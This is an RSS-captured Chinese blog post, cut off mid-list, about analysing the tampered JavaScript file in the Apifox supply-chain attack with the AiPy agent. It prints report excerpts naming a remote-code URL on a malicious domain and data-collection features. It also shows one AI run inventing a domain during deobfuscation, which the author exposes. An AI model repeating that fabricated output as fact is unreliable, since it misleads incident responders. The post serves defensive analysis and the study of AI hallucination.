leaf="">5、其实在Agent的设计上，怎么直接调用模型真正语义理解能力，是一个值得考虑的点（很多时候Agent依赖的是模型生成的正则等规则匹配完成分析，而不是直接语义分析）</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=082e5ba0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484521%26idx%3D1%26sn%3Df85a7ae0d8375841ac57664a7631a0d8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Apr 2026 16:38:00 +0800</pubDate>
    </item>
    <item>
      <title>Apifox 供应链攻击事件（AiPy自查）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484515&amp;idx=1&amp;sn=1917db6a29df23615dd978ef942aeedf</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>heige</span> <span>2026-03-26 14:29</span> <span style="display: inline-block;">美国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5f03b4db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FxTZfvDhkzLt0aHhM8ayJmjU9WCd69FghicIpZtYtkfmQoxia5tXicaVBia4noyaZ1PVLrPkFeJjXKoexKw18tKQvz7UnZ1V0FGHmmZJOesMBsdM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p><span leaf="">这次的“</span><span leaf="">Apifox 供应链攻击事件” 可以参考：</span></p><p><span leaf="">官方公告：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2MTY1MzA1OQ==&amp;mid=2247493145&amp;idx=1&amp;sn=b9ab4bd95eafa19d11ce3a36aeaffdda&amp;scene=21#wechat_redirect" textvalue="关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告" data-itemshowtype="0" linktype="text" data-linktype="2">关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告</a></span></p><p><span leaf="">另外还有一个最早发布的一个完整分析：</span></p><blockquote><p><span leaf=""><a href="https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/" target="_blank">https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/</a></span></p></blockquote><p><span leaf="">这类的分析其实在 <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484497&amp;idx=1&amp;sn=0b609734e0cd791e816729101d7208ea&amp;scene=21#wechat_redirect" textvalue="使用Zoomeye 和 AiPy 捕获 Coruna 样本" data-itemshowtype="0" linktype="text" data-linktype="2">使用Zoomeye 和 AiPy 捕获 Coruna 样本</a>已经有过例子了，秉承<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712&amp;scene=21#wechat_redirect" textvalue="AI Agent 下半场" data-itemshowtype="0" linktype="text" data-linktype="2">AI Agent 下半场</a> 文章中“结果导向”的理念，在这次分析中出现了一个非常典型的 “幻觉”，另外在这几天直播中有人问我：是Skill重要还是模型能力重要，包括这段时间翻炒的 </span><span leaf="">IHarness Engineering </span><span leaf="">当然这个问题我其实在以往的文章都提到过， 然后这个例子正好用来说明这个问题。</span></p><p><span leaf="">启动AiPy （我用的Cli版本，大家也可以去www.aipyaipy.com 去使用gui版本）</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; 帮我分析下 </span></p><p><span leaf=""><a href="https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js" target="_blank">https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js</a></span></p></blockquote><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">幻觉</span><span textstyle="" style="font-size: 17px;font-weight: normal;">（国产模型+没有配置skill）</span></span></p><p><span leaf="">开始我使用的国内模型（具体就不说了），然后一顿分析后的结果：</span></p><h3 data-line="10" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">解密后发现的域名</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="12" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf=""><a href="https://api.apifox.comhttps://apifox.it.co" target="_blank">https://api.apifox.comhttps://apifox.it.co</a>          ← ⚠️ 恶意域名<a href="https://cm.bilibili.comhttps://convert.dop.360.cnhttps://ocpc.p4p.sogou.comhttps://us.i.posthog.comhttps://www.google-analytics.com" target="_blank">https://cm.bilibili.comhttps://convert.dop.360.cnhttps://ocpc.p4p.sogou.comhttps://us.i.posthog.comhttps://www.google-analytics.com</a></span></code></pre><h3 data-line="22" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">关键发现</span></h3><p data-line="24" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">deobfuscated_complete.js</span></code><span leaf=""> 第 22 行：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="26" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 远程服务器 URL</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">const</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">REMOTE_JS_URL</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;<a href="https://apifox.it.co/xxx" target="_blank">https://apifox.it.co/xxx</a>&#39;</span></span><span leaf="">;</span><span style="color: rgb(0, 0, 255);"><span leaf="">const</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">APIFOX_USER_API</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;<a href="https://api.apifox.com/api/v1/user" target="_blank">https://api.apifox.com/api/v1/user</a>&#39;</span></span><span leaf="">;</span></code></pre><p data-line="32" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">确认：版本 1 使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a href="https://apifox.it.co/xxx" target="_blank">https://apifox.it.co/xxx</a></span></code><span leaf=""> 作为远程代码请求地址</span></strong></p><hr style=" border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid; font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "/><p><span leaf="">随后我还追问了下：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000856" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1d585c9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLud78geMqsu2hYcI5nqtzpK0IymgwWugIgFkoAJAAHLI5F605zweTS3MlSDgnLT7tA2LficvKf1KRcSP7GeBDiaKZ13Fx7Nuxia0k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">当时我也差点被幻觉误导了，注意看他这里找出来的是 apifox.it.co , 于是我审查了一下整个过程，发现了问题：在编写</span><span leaf="">deobfuscate.js的代码的时候，他直接估计混淆的js脑补了一个地址</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000857" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bc16cda5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLvySD5leFZbA3sialZEqFa2bibz8LduaLzChSLbK4rcib6vkS5TdnUou3XoabkVficwWJOHM9ictelzm8tCyQ45R5gcwWXzaXHkDBqU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">原本的混淆的JS源码：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000858" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9ea6d488&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLvygUJ3JicRGl974Bq8amwZVaZsDJnAEw1ZEponSSrBk1qclh6LUWn3Wz8JS6Z9sclMdIdmH7sLuex0rhKh8SV9UdRptbprgoZc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这种幻觉还是非常隐蔽的，不容易被发现，如果不是review下整个过程，很可能就被误导了，这个也对后续的排查也会埋下漏报祸根！</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">逆向</span><span textstyle="" style="font-size: 17px;font-weight: normal;"> (AiPy + Gemini31.1 pro)</span></span></p><blockquote><p><span leaf="">🚀 Python use - AIPython (0.6.0b17) [<a href="https://aipy.app]" target="_blank">https://aipy.app]</a></span></p><p><span leaf="">[Main] Please enter an instruction or `/help` for more information</span></p><p><span leaf="">&gt;&gt; /llm use tt-gemini-3</span></p><p><span leaf="">Success</span></p><p><span leaf="">&gt;&gt; 帮我逆向下 </span></p><p><span leaf=""><a href="https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js" target="_blank">https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js</a></span></p></blockquote><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000859" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=593181cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLuFvzpH2ic6v9iamicRWMYfmAd3DXYTm8f3k3icE8mEevUQS3YKRCHuddTOr5VibRolF5jrUJ16pwazo4OXSv5w3NUV4wFp5TicKaNWI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这里分析出来的是 apifox.it.com 生成的md报告：</span></p><h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">Apifox App Event Tracking 逆向分析报告</span></h1><h2 data-line="2" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">概述</span></h2><p data-line="3" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apifox-app-event-tracking.min.js</span></code><span leaf=""> 文件进行了深度逆向分析，这是一个高度混淆的JavaScript文件，主要用于收集用户行为数据并与远程服务器通信。</span></p><h2 data-line="5" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">文件基本信息</span></h2><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">原始大小</span></strong><p><span leaf="">: 80,255 字节</span></p></li><li style=""><strong><span leaf="">混淆类型</span></strong><p><span leaf="">: 字符串数组 + RC4加密 + 控制流平坦化</span></p></li><li style=""><strong><span leaf="">目标环境</span></strong><p><span leaf="">: 浏览器/Electron桌面应用</span></p></li><li style=""><strong><span leaf="">主要功能</span></strong><p><span leaf="">: 用户行为追踪、远程代码加载、系统信息采集</span></p></li></ul><h2 data-line="11" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">代码结构分析</span></h2><h3 data-line="13" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1. 混淆机制</span></h3><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">字符串数组</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_0x70b33e</span></code><span leaf=""> 包含 400+ 个混淆字符串</span></p></li><li style=""><strong><span leaf="">RC4解密</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_0x3fb9</span></code><span leaf=""> 函数实现RC4流密码解密</span></p></li><li style=""><strong><span leaf="">字符串洗牌</span></strong><p><span leaf="">: 通过复杂的数学运算重新排列字符串数组</span></p></li><li style=""><strong><span leaf="">函数重命名</span></strong><p><span leaf="">: 所有函数和变量都使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_0x[0-9a-f]+</span></code><span leaf=""> 格式</span></p></li></ul><h3 data-line="19" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2. 核心功能模块</span></h3><h4 data-line="21" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.1 网络通信模块</span></h4><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="22" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 远程JS URL (经过混淆)</span></span><br/><span style="color: rgb(0, 128, 0);"><span leaf="">REMOTE_JS_URL</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;<a href="https://apifox.it.com/..." target="_blank">https://apifox.it.com/...</a>&#34;</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// API接口</span></span><br/><span style="color: rgb(0, 128, 0);"><span leaf="">APIFOX_USER_API</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/api/v1/user&#34;</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 代理服务器</span></span><br/><span style="color: rgb(0, 128, 0);"><span leaf="">PROXY_SERVER</span></span><span leaf=""> = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;<a href="https://web-proxy.apifox.com/api/v1/request" target="_blank">https://web-proxy.apifox.com/api/v1/request</a>&#34;</span></span></code></pre><h4 data-line="33" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.2 加密模块</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">RSA加密</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rsaEncrypt()</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rsaDecrypt()</span></code></p></li><li style=""><strong><span leaf="">私钥</span></strong><p><span leaf="">: 硬编码在代码中（PEM格式）</span></p></li><li style=""><strong><span leaf="">用途</span></strong><p><span leaf="">: 加密敏感数据（用户ID、设备信息等）</span></p></li></ul><h4 data-line="38" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.3 系统信息采集</span></h4><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="39" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 采集的数据包括：</span></span><br/><span leaf="">- </span><span style="color: rgb(0, 128, 0);"><span leaf="">MAC</span></span><span leaf="">地址</span><br/><span 